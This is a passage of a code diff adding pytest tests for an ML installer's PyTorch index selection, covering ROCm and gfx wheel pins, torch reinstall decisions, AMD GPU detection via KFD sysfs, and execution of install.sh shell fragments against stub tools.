+        assert f(f"{base}/rocm6.4", "2.10.0") is True
+        # A 2.11-allowlist gfx pin over a GENERIC (two-part +rocm7.2) 2.11 wheel mismatches:
+        # the user wants AMD's per-arch (three-part) wheel, not the generic one.
+        assert f(f"{amd}/gfx1151", "2.11.0+rocm7.2") is True
+        assert f(f"{amd}/gfx120X-all", "2.11.0+rocm7.2") is True
+        # ...but an already-installed per-arch (three-part) wheel is NOT re-flagged
+        # (no reinstall loop once the correct gfx wheel is present).
+        assert f(f"{amd}/gfx120X-all", "2.11.0+rocm7.13.0") is False
+        assert f(f"{amd}/gfx1150", "2.11.0+rocm7.13.0") is False
+        # A NON-2.11 gfx pin (gfx110X-all/gfx90a/gfx908) tracks the default <2.11 spec: a
+        # correct 2.10+rocm wheel is NOT a mismatch, a 2.11 build is.
+        assert f(f"{amd}/gfx110X-all", "2.10.0+rocm6.4") is False
+        assert f(f"{amd}/gfx90a", "2.10.0+rocm6.3") is False
+        assert f(f"{amd}/gfx908", "2.10.0+rocm7.0") is False
+        assert f(f"{amd}/gfx110X-all", "2.11.0+rocm7.2") is True
+        # A non-2.11 gfx pin over an untagged (no +rocm) wheel is a mismatch even
+        # when torch is already <2.11: a CPU/CUDA build never satisfies the ROCm pin.
+        assert f(f"{amd}/gfx110X-all", "2.10.0") is True
+        assert f(f"{amd}/gfx90a", "2.10.0") is True
+        # A major-only rocm pin (rocm7) compares on the major alone: rocm6.x mismatches,
+        # any rocm7.x satisfies it, an untagged wheel never does, a bare +rocm is lenient.
+        assert f(f"{base}/rocm7", "2.10.0+rocm6.4") is True
+        assert f(f"{base}/rocm7", "2.11.0+rocm7.2") is False
+        assert f(f"{base}/rocm7", "2.11.0+rocm7.13.0") is False
+        assert f(f"{base}/rocm7", "2.10.0") is True
+        assert f(f"{base}/rocm7", "2.10.0+rocm") is False
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 2))
+    def test_rocm_pin_mismatch_over_installed_rocm_reinstalls(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """A rocm7.2 pin over an already-installed OLDER +rocm6.4 build must reinstall,
+        even though has_hip_torch is True (the ROCm analogue of the CUDA cuXXX mismatch)."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        # HIP marker present (has_hip_torch=True) + installed +rocm6.4 wheel.
+        mock_probe.stdout = b"6.4.12345|2.10.0+rocm6.4\n"
+        env = {"UNSLOTH_TORCH_INDEX_FAMILY": "rocm7.2"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_URL", None)
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    _ensure_rocm_torch()
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "rocm7.2" in torch_call
+        assert "torch>=2.11.0,<2.12.0" in torch_call
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (6, 4))
+    def test_gfx_pin_over_installed_pre211_rocm_reinstalls(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """A gfx* pin (2.11 line) over an installed pre-2.11 +rocm6.4 build reinstalls."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"6.4.12345|2.10.0+rocm6.4\n"
+        env = {"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx1151"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    with patch.object(
+                        stack_mod, "_detect_amd_gfx_codes", side_effect = AssertionError
+                    ):
+                        _ensure_rocm_torch()
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1151" in torch_call
+        assert "torch>=2.11.0,<2.12.0" in torch_call
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 2))
+    def test_rocm_pin_matches_installed_no_torch_reinstall(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """A rocm7.2 pin over an already-matching +rocm7.2 build must NOT reinstall torch
+        (no false reinstall of a correct ROCm venv)."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"7.2.12345|2.11.0+rocm7.2\n"
+        env = {"UNSLOTH_TORCH_INDEX_FAMILY": "rocm7.2"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_URL", None)
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    _ensure_rocm_torch()
+        # No torch reinstall: any pip_install call must not target a torch index.
+        for _call in mock_pip.call_args_list:
+            _args = [str(a) for a in _call.args]
+            if "--index-url" in _args:
+                _url = _args[_args.index("--index-url") + 1]
+                assert "rocm7.2" not in _url or "torch" not in " ".join(
+                    _args
+                ), "torch must not be reinstalled when the pin already matches"
+        # A torch reinstall would pass torch>=... as a positional; assert none did.
+        assert not any(
+            any(str(a).startswith("torch") for a in _c.args) for _c in mock_pip.call_args_list
+        )
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (6, 4))
+    def test_non211_gfx_pin_over_210_rocm_no_reinstall(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """A gfx110X-all pin (NOT in the 2.11 allowlist) over a correct 2.10+rocm
+        wheel must NOT be flagged stale -- the install path uses the default <2.11
+        specs for that arch, so re-flagging would reinstall-loop on every update."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"6.4.12345|2.10.0+rocm6.4\n"
+        env = {"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx110X-all"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    _ensure_rocm_torch()
+        # has_hip_torch True + no mismatch -> torch must NOT be reinstalled.
+        assert not any(
+            any(str(a).startswith("torch") for a in _c.args) for _c in mock_pip.call_args_list
+        )
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 2))
+    def test_gfx_pin_over_generic_rocm211_reinstalls(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """A gfx1151 pin over a GENERIC (two-part +rocm7.2) 2.11 wheel must reinstall
+        the AMD per-arch wheel -- even though both are torch 2.11, the generic wheel
+        is not the per-arch build the user pinned (Strix stays off the generic wheel)."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"7.2.12345|2.11.0+rocm7.2\n"
+        env = {"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx1151"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    with patch.object(
+                        stack_mod, "_detect_amd_gfx_codes", side_effect = AssertionError
+                    ):
+                        _ensure_rocm_torch()
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1151" in torch_call
+        assert "torch>=2.11.0,<2.12.0" in torch_call
+
+    def test_radeon_url_not_classified_as_pip_rocm_family(self):
+        """A repo.radeon.com find-links dir (leaf rocm-rel-7.2.1) starts with "rocm" but is
+        NOT a pip --index-url ROCm family: it must route to the verbatim path, not a
+        --index-url reinstall that fails against a find-links listing."""
+        leaf_f = stack_mod._is_pip_rocm_family_leaf
+        # Real pip ROCm families (download.pytorch.org/whl/rocmX.Y, repo.amd.com gfx).
+        assert leaf_f("rocm7.2") is True
+        assert leaf_f("rocm6.4") is True
+        assert leaf_f("gfx120x-all") is True
+        assert leaf_f("gfx1151") is True
+        # A bare rocm<digits> (no minor) is still an exact family.
+        assert leaf_f("rocm7") is True
+        # A Radeon find-links dir leaf, a custom mirror, cpu and cuda are NOT pip rocm.
+        assert leaf_f("rocm-rel-7.2.1") is False
+        assert leaf_f("simple") is False
+        assert leaf_f("current") is False
+        assert leaf_f("cpu") is False
+        assert leaf_f("cu128") is False
+        # A rocm<digit>-SUFFIX private mirror shares the family prefix but is a custom pin
+        # the verbatim path owns: a ^rocm\d PREFIX match would wrongly treat it as a
+        # --index-url family. Match EXACTLY.
+        assert leaf_f("rocm7.2-private") is False
+        assert leaf_f("rocm7-current") is False
+        assert leaf_f("rocm7.2.1") is False  # two-part local suffix -> custom, not rocm7.2
+
+        radeon = "https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2.1"
+        pip_rocm = "https://download.pytorch.org/whl/rocm7.2"
+        amd_gfx = "https://repo.amd.com/rocm/whl/gfx120X-all"
+
+        def _classify(url, fn):
+            with patch.dict(stack_mod.os.environ, {"UNSLOTH_TORCH_INDEX_URL": url}, clear = False):
+                stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+                return fn()
+
+        rocm_fn = stack_mod._explicit_rocm_torch_index_url
+        unk_fn = stack_mod._explicit_unknown_family_torch_index_url
+        # Real pip rocm/gfx pins ARE a ROCm family (reinstallable via --index-url) and
+        # are NOT "unknown".
+        assert _classify(pip_rocm, rocm_fn) == pip_rocm
+        assert _classify(amd_gfx, rocm_fn) == amd_gfx
+        assert _classify(pip_rocm, unk_fn) is None
+        assert _classify(amd_gfx, unk_fn) is None
+        # The Radeon find-links URL is NOT a pip ROCm family (so _ensure_rocm_torch skips
+        # it) and IS unknown, so the family repair helpers leave it alone.
+        assert _classify(radeon, rocm_fn) is None
+        assert _classify(radeon, unk_fn) == radeon
+
+        # A rocm<digit>-suffix private mirror routes the same way: NOT a pip rocm family,
+        # IS an unknown-family (verbatim) pin.
+        suffixed = "https://co.internal/whl/rocm7.2-private"
+        assert _classify(suffixed, rocm_fn) is None
+        assert _classify(suffixed, unk_fn) == suffixed
+
+    @patch.object(stack_mod, "pip_install")
+    def test_ensure_cpu_torch_broken_probe_reinstalls(self, mock_pip):
+        """_ensure_cpu_torch: torch present but unimportable (probe exit != 0) under an
+        explicit CPU pin must reinstall from the pin, not return -- the base update does
+        not repair a broken installed torch, so returning would strand it (Codex P2)."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 1  # torch present but cannot import
+        mock_probe.stdout = b""
+        env = {"UNSLOTH_TORCH_INDEX_URL": "https://mirror.local/cpu"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+            with patch("subprocess.run", return_value = mock_probe):
+                with patch.object(stack_mod, "NO_TORCH", False):
+                    stack_mod._ensure_cpu_torch()
+        assert mock_pip.call_count == 1
+        assert "https://mirror.local/cpu" in str(mock_pip.call_args)
+
     @patch.object(stack_mod, "IS_WINDOWS", False)
     @patch.object(stack_mod, "pip_install_try", return_value = True)
     @patch.object(stack_mod, "pip_install")
@@ -702,7 +1127,8 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = False)
-    def test_no_gpu_with_rocm_tools_skips(self, mock_gpu, mock_nvidia, mock_pip):
+    @patch.object(stack_mod, "_infer_linux_amd_gfx_arch", return_value = None)
+    def test_no_gpu_with_rocm_tools_skips(self, mock_infer, mock_gpu, mock_nvidia, mock_pip):
         """ROCm tools present but no actual AMD GPU should skip entirely."""
         # Pin the Windows arch probe to None so a real AMD host's WMI fallback
         # can't defeat the "no actual GPU" premise.
@@ -732,7 +1158,7 @@ class TestEnsureRocmTorch:
         mock_pip.assert_not_called()
 
 
-# TEST: install_python_stack.py -- _has_rocm_gpu KFD sysfs vendor_id guard
+# TEST: install_python_stack.py -- torch-index MARKER mechanism (PR #6692)
 
 
 class TestHasRocmGpuKfdVendorGuard:
@@ -1013,6 +1439,59 @@ class TestInstallShStructure:
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         assert "amd-smi" in source
+
+    def test_cpu_index_note_respects_explicit_pin(self):
+        """An explicit UNSLOTH_TORCH_INDEX_URL/_FAMILY CPU pin is a request, not
+        a detection failure: the */cpu wheel note must report the pin instead of
+        claiming ROCm/HIP is unusable, the WSL setup guidance must be skipped,
+        and the gpu summary must not label a pinned AMD host "no usable ROCm"."""
+        sh_path = PACKAGE_ROOT / "install.sh"
+        source = sh_path.read_text(encoding = "utf-8")
+        note = source.find('substep "AMD GPU detected, but no usable ROCm/HIP install')
+        assert note != -1
+        assert (
+            '[ "$_torch_index_pinned" = true ]' in source[note - 400 : note]
+        ), "the */cpu note must check the explicit pin before diagnosing ROCm"
+        assert (
+            '[ "$OS" = "wsl" ] && [ "$_torch_index_pinned" = false ]' in source
+        ), "ROCm-on-WSL guidance is detection advice; skip it for pinned installs"
+        summary = source.find('step "gpu" "AMD GPU (no usable ROCm -- CPU fallback)"')
+        assert summary != -1
+        assert (
+            '[ "$_torch_index_pinned" = true ]' in source[summary - 700 : summary]
+        ), "the gpu summary must not claim no usable ROCm for a pinned index"
+
+    def test_rocm_version_chain_survives_no_source_under_set_e(self):
+        """When every ROCm version source is missing (e.g. rocminfo present but
+        rocm-core not installed, so dpkg-query/rpm exit 1), the _rocm_tag ||
+        chain fails as a whole; without the || guard set -e kills the installer
+        BEFORE the actionable no-version WARN it feeds. Executed, not text."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the version chain")
+        sh_path = PACKAGE_ROOT / "install.sh"
+        source = sh_path.read_text(encoding = "utf-8")
+        chain = re.search(
+            r'^        _rocm_tag=\$\(\{ command -v amd-smi.*?\|\| _rocm_tag=""\n',
+            source,
+            re.S | re.M,
+        )
+        assert chain, "could not extract the guarded _rocm_tag chain"
+        with tempfile.TemporaryDirectory() as d:
+            # Tools exist on PATH but yield nothing usable, like a box with the
+            # probe tools installed and no rocm-core package.
+            for name in ("amd-smi", "hipconfig", "dpkg-query", "rpm"):
+                p = os.path.join(d, name)
+                with open(p, "w", encoding = "utf-8") as f:
+                    f.write("#!/bin/sh\nexit 1\n")
+                os.chmod(p, 0o755)
+            script = (
+                "set -euo pipefail\n" + chain.group(0) + '\nprintf "SURVIVED:%s\\n" "$_rocm_tag"\n'
+            )
+            env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""))
+            r = subprocess.run([shell, "-c", script], env = env, capture_output = True, text = True)
+            assert r.returncode == 0, f"version chain aborted under set -e: {r.stderr}"
+            assert r.stdout.startswith("SURVIVED:"), r.stdout
         assert "rocm" in source.lower()
 
     def test_cuda_precedence(self):
@@ -1144,17 +1623,446 @@ class TestInstallShStructure:
             "4098" in func_body
         ), "_has_amd_rocm_gpu sysfs fallback must require AMD vendor_id 4098 (0x1002)"
 
-    def test_kfd_awk_resets_state_per_file(self):
-        """KFD sysfs awk must reset gpu/amd state per file (FNR==1) to avoid Ryzen+NVIDIA false positives."""
+    def test_kfd_awk_vendor_check_is_per_line(self):
+        """KFD sysfs awk must decide on a single vendor_id line, with no cross-node state.
+
+        The old awk paired two per-node flags (gpu_id + vendor_id) and needed an FNR==1
+        reset so flags from different KFD nodes could not combine into a Ryzen+NVIDIA
+        false positive. gpu_id is a sibling sysfs file and never appears inside
+        properties, so that pairing also never matched at all (every ROCm-less AMD host
+        was reported as no-GPU). The replacement keys on one atomic line: only an AMD
+        GPU node reports `vendor_id 4098` (KFD CPU nodes report 0, NVIDIA's open kernel
+        module registers 4318), so there is no cross-file state left to reset.
+        """
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         func_start = source.find("_has_amd_rocm_gpu()")
         func_end = source.find("\n}", func_start)
         func_body = source[func_start:func_end]
-        assert "FNR==1" in func_body, (
-            "_has_amd_rocm_gpu KFD awk must reset state per file with FNR==1 "
-            "to avoid false positives on Ryzen+NVIDIA hosts with multiple KFD nodes"
+        assert "$2 == 4098" in func_body, (
+            "_has_amd_rocm_gpu KFD awk must match `vendor_id 4098` as a single-line "
+            "condition so no per-node state can leak across KFD nodes"
         )
+        assert "/gpu_id/" not in func_body, (
+            "_has_amd_rocm_gpu KFD awk must not key on a gpu_id line: gpu_id is a "
+            "sibling sysfs file, not a line in properties, so it never matches there"
+        )
+
+    def test_setup_sh_kfd_awk_matches_install_sh(self):
+        """setup.sh's KFD fallback must use the same per-line vendor_id check as install.sh.
+
+        setup.sh re-probes AMD detection independently of install.sh; if its copy keeps
+        the dead gpu_id-inside-properties pairing, a host that install.sh routes to ROCm
+        still gets a CPU llama.cpp from the setup step (_setup_amd_detected stays false).
+        """
+        source = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+        assert (
+            "$2 == 4098" in source
+        ), "setup.sh KFD awk must match `vendor_id 4098` as a single-line condition"
+        assert (
+            "/gpu_id/" not in source
+        ), "setup.sh KFD awk must not key on a gpu_id line inside properties"
+
+    def test_kfd_only_torch_falls_back_to_cpu(self):
+        """An AMD host whose gfx arch can't be read (rocminfo/amd-smi missing, or
+        present but not enumerating the GPU) must route torch to CPU, not a generic
+        rocm index: a Strix box (gfx1150/1151) would otherwise get the broken
+        _grouped_mm wheels because the reroute has no gfx to correct it."""
+        source = (PACKAGE_ROOT / "install.sh").read_text(encoding = "utf-8")
+        body = _extract_sh_function_body(source, "get_torch_index_url")
+        probe = body.find("_amd_gfx_probe=$(_probe_amd_gfx_arch)")
+        assert probe >= 0, "get_torch_index_url must probe the gfx arch before picking a rocm index"
+        # The shared probe reads gfx (not just tests binary presence), from rocminfo
+        # AND amd-smi, so an installed-but-not-enumerating probe still falls to CPU.
+        helper = _extract_sh_function_body(source, "_probe_amd_gfx_arch")
+        assert helper, "install.sh must define the shared _probe_amd_gfx_arch helper"
+        assert (
+            "rocminfo 2>/dev/null) | grep -oE 'gfx" in helper
+        ), "probe must read gfx from rocminfo"
+        assert (
+            "amd-smi list 2>/dev/null) | grep -oE 'gfx" in helper
+        ), "probe must read gfx from amd-smi"
+        # The probe clears ROCR/HIP_VISIBLE_DEVICES so a container mask
+        # (ROCR_VISIBLE_DEVICES=-1) can't blind the env-independent KFD detection.
+        assert (
+            "unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES" in helper
+        ), "the gfx probe must clear the visibility masks so a mask can't force CPU"
+        cpu_guard = body.find('if [ -z "$_amd_gfx_probe" ]')
+        assert cpu_guard >= 0, "unreadable gfx must fall back to CPU"
+        assert cpu_guard < body.find(
+            "_rocm_tag="
+        ), "the gfx gate must run before the ROCm version/index selection"
+
+    def test_kfd_only_llama_requires_hipcc(self):
+        """setup.sh must forward --has-rocm for a gfx-unknown (KFD-only) host only when
+        hipcc is present. With no gfx the prebuilt resolver finds no ROCm bundle and the
+        source build would fail, so without a HIP toolchain the host keeps the CPU
+        prebuilt rather than breaking the llama.cpp install."""
+        source = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+        idx = source.find("_PREBUILT_CMD+=(--has-rocm)")
+        assert idx >= 0, "setup.sh must still be able to forward --has-rocm"
+        window = source[max(0, idx - 900) : idx]
+        assert (
+            "hipcc" in window
+        ), "the gfx-unknown --has-rocm branch must gate on hipcc (a usable HIP toolchain)"
+        assert (
+            "command -v hipcc" in window or "/opt/rocm/bin/hipcc" in window
+        ), "hipcc presence must be checked via command -v or the rocm bin path"
+        assert (
+            "/opt/rocm-*/bin/hipcc" in window
+        ), "the hipcc gate must also accept a versioned /opt/rocm-*/bin/hipcc toolchain"
+
+    def test_gfx_unknown_guard_honors_override(self):
+        """A user-set UNSLOTH_ROCM_GFX_ARCH must seed the gfx probe before the CPU
+        fallback: an air-gapped/rocminfo-less Strix host that names its arch should
+        still reach a rocm index instead of being forced to CPU."""
+        source = (PACKAGE_ROOT / "install.sh").read_text(encoding = "utf-8")
+        helper = _extract_sh_function_body(source, "_probe_amd_gfx_arch")
+        assert helper, "install.sh must define the shared _probe_amd_gfx_arch helper"
+        seed = helper.find("$(printf")
+        assert seed >= 0, "the gfx probe must seed from UNSLOTH_ROCM_GFX_ARCH"
+        assert "UNSLOTH_ROCM_GFX_ARCH" in helper[seed : seed + 80]
+        assert seed < helper.find(
+            "rocminfo 2>/dev/null) | grep -oE 'gfx"
+        ), "the override must be read before probing rocminfo"
+        body = _extract_sh_function_body(source, "get_torch_index_url")
+        call = body.find("_amd_gfx_probe=$(_probe_amd_gfx_arch)")
+        assert call >= 0, "get_torch_index_url must call the shared probe"
+        assert call < body.find(
+            'if [ -z "$_amd_gfx_probe" ]; then'
+        ), "the probe must run before the CPU fallback guard"
+
+    def test_gfx_override_seeds_reroute_without_tools(self):
+        """The Strix reroute must honour UNSLOTH_ROCM_GFX_ARCH even when rocminfo and
+        amd-smi are absent, so a manual override reaches the arch index; with no
+        override and no tools it must stay empty (no false Strix routing)."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the probe block")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        block = re.search(
+            r'^        _gfx_all=\$\(printf[^\n]*\n.*?(?=^        _strix_gfx="")',
+            source,
+            re.S | re.M,
+        )
+        assert block, "could not extract the gfx-detection block"
+        with tempfile.TemporaryDirectory() as d:
+            # Shim rocminfo/amd-smi to enumerate nothing, so only the override can
+            # supply a gfx (keeps coreutils on PATH for tr/grep/printf).
+            for name in ("rocminfo", "amd-smi"):
+                p = os.path.join(d, name)
+                with open(p, "w", encoding = "utf-8") as f:
+                    f.write("#!/bin/sh\nexit 0\n")
+                os.chmod(p, 0o755)
+            script = (
+                'set -euo pipefail\nHIP_VISIBLE_DEVICES=""\nROCR_VISIBLE_DEVICES=""\n'
+                + block.group(0)
+                + '\nprintf "OK:%s\\n" "$_gfx_all"\n'
+            )
+
+            def run(**extra):
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""), **extra)
+                return subprocess.run(
+                    [shell, "-c", script], env = env, capture_output = True, text = True
+                )
+
+            r = run(UNSLOTH_ROCM_GFX_ARCH = "GFX1151")
+            assert r.returncode == 0, f"override probe aborted: {r.stderr}"
+            assert "OK:gfx1151" in r.stdout, f"override not honoured/lowercased: {r.stdout!r}"
+            r2 = run()
+            assert r2.returncode == 0, f"empty probe aborted: {r2.stderr}"
+            assert (
+                "OK:\n" in r2.stdout or r2.stdout.strip() == "OK:"
+            ), f"no override + no tools must leave gfx empty: {r2.stdout!r}"
+
+    def test_gfx_probe_ignores_visibility_mask(self):
+        """A container visibility mask (ROCR_VISIBLE_DEVICES=-1) must not blind the
+        gfx probe: rocminfo honours the mask and would enumerate nothing, but KFD
+        detection is env-independent, so the probe clears the mask and still reads
+        the arch (else a masked host is wrongly forced to CPU)."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the probe block")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        probe_fn = _extract_sh_function_body(source, "_probe_amd_gfx_arch")
+        assert probe_fn, "could not extract _probe_amd_gfx_arch"
+        with tempfile.TemporaryDirectory() as d:
+            # rocminfo that mimics ROCR_VISIBLE_DEVICES=-1 hiding all agents.
+            with open(os.path.join(d, "rocminfo"), "w", encoding = "utf-8") as f:
+                f.write(
+                    "#!/bin/sh\n"
+                    'if [ "${ROCR_VISIBLE_DEVICES:-}" = "-1" ]; then echo "no agents"; exit 0; fi\n'
+                    'echo "  Name:  gfx1151"\n'
+                )
+            os.chmod(os.path.join(d, "rocminfo"), 0o755)
+            script = (
+                "set -euo pipefail\n"
+                "_ensure_rocm_probe_env() { :; }\n"
+                + probe_fn
+                + '\n_amd_gfx_probe=$(_probe_amd_gfx_arch)\nprintf "OK:%s\\n" "$_amd_gfx_probe"\n'
+            )
+
+            def run(**extra):
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""), **extra)
+                return subprocess.run(
+                    [shell, "-c", script], env = env, capture_output = True, text = True
+                )
+
+            r = run(ROCR_VISIBLE_DEVICES = "-1")
+            assert r.returncode == 0, f"masked probe aborted: {r.stderr}"
+            assert (
+                "OK:gfx1151" in r.stdout
+            ), f"a visibility mask must not blind the gfx probe: {r.stdout!r}"
+
+    def test_kfd_only_inferable_gfx_defers_to_reroute(self):
+        """A KFD-only host (GPU detected, gfx unreadable) whose arch IS inferable
+        from hardware IDs must not print the 'installing CPU-only PyTorch' warning:
+        get_torch_index_url returns the cpu index quietly and the runtime-less
+        reroute upgrades it to AMD per-arch wheels. Only when inference also fails
+        (or maps to no supported family) is CPU final, with the actionable hint."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute get_torch_index_url")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        fn = _extract_sh_function_body(source, "get_torch_index_url")
+        probe_fn = _extract_sh_function_body(source, "_probe_amd_gfx_arch")
+        family_fn = _extract_sh_function_body(source, "_amd_arch_index_family_for_gfx")
+        assert fn and probe_fn and family_fn
+        with tempfile.TemporaryDirectory() as d:
+            # uname -> Linux/x86_64 so the AMD branch runs on any dev host; the
+            # rocminfo/amd-smi shims enumerate nothing (KFD-only host).
+            with open(os.path.join(d, "uname"), "w", encoding = "utf-8", newline = "\n") as f:
+                f.write('#!/bin/sh\ncase "${1:-}" in -m) echo x86_64 ;; *) echo Linux ;; esac\n')
+            for name in ("rocminfo", "amd-smi"):
+                with open(os.path.join(d, name), "w", encoding = "utf-8", newline = "\n") as f:
+                    f.write("#!/bin/sh\nexit 0\n")
+            for name in ("uname", "rocminfo", "amd-smi"):
+                os.chmod(os.path.join(d, name), 0o755)
+
+            def run(infer_stub):
+                script = (
+                    "set -euo pipefail\n"
+                    "_ensure_rocm_probe_env() { :; }\n"
+                    "_trim_index_path_slashes() { printf '%s\\n' \"$1\"; }\n"
+                    "_has_usable_nvidia_gpu() { return 1; }\n"
+                    "_has_amd_rocm_gpu() { return 0; }\n"
+                    + infer_stub
+                    + "\n"
+                    + probe_fn
+                    + "\n"
+                    + family_fn
+                    + "\n"
+                    + fn
+                    + "\n"
+                    "get_torch_index_url\n"
+                )
+                # Run from a file, not -c: Windows bash mangles multi-KB -c strings.
+                sp = os.path.join(d, "gtiu.sh")
+                with open(sp, "w", encoding = "utf-8", newline = "\n") as f:
+                    f.write(script)
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""))
+                for var in (
+                    "UNSLOTH_ROCM_GFX_ARCH",
+                    "UNSLOTH_TORCH_INDEX_URL",
+                    "UNSLOTH_TORCH_INDEX_FAMILY",
+                    "UNSLOTH_PYTORCH_MIRROR",
+                    "ROCR_VISIBLE_DEVICES",
+                    "HIP_VISIBLE_DEVICES",
+                ):
+                    env.pop(var, None)
+                return subprocess.run(
+                    [shell, sp.replace("\\", "/")], env = env, capture_output = True, text = True
+                )
+
+            r = run("_infer_linux_amd_gfx_arch() { echo gfx1100; }")
+            assert r.returncode == 0, f"inferable case aborted: {r.stderr}"
+            assert r.stdout.strip().endswith(
+                "/cpu"
+            ), f"must hand */cpu to the reroute: {r.stdout!r}"
+            assert (
+                "inferring gfx1100" in r.stderr
+            ), f"must announce the inference handoff: {r.stderr!r}"
+            assert (
+                "installing CPU-only PyTorch" not in r.stderr
+            ), f"must not promise a CPU-only install the reroute will override: {r.stderr!r}"
+            r2 = run("_infer_linux_amd_gfx_arch() { return 1; }")
+            assert r2.returncode == 0, f"uninferable case aborted: {r2.stderr}"
+            assert r2.stdout.strip().endswith("/cpu")
+            assert (
+                "installing CPU-only PyTorch" in r2.stderr
+            ), f"uninferable gfx must keep the actionable CPU warning: {r2.stderr!r}"
+            r3 = run("_infer_linux_amd_gfx_arch() { echo gfx906; }")
+            assert r3.returncode == 0, f"unsupported-family case aborted: {r3.stderr}"
+            assert r3.stdout.strip().endswith("/cpu")
+            assert (
+                "installing CPU-only PyTorch" in r3.stderr
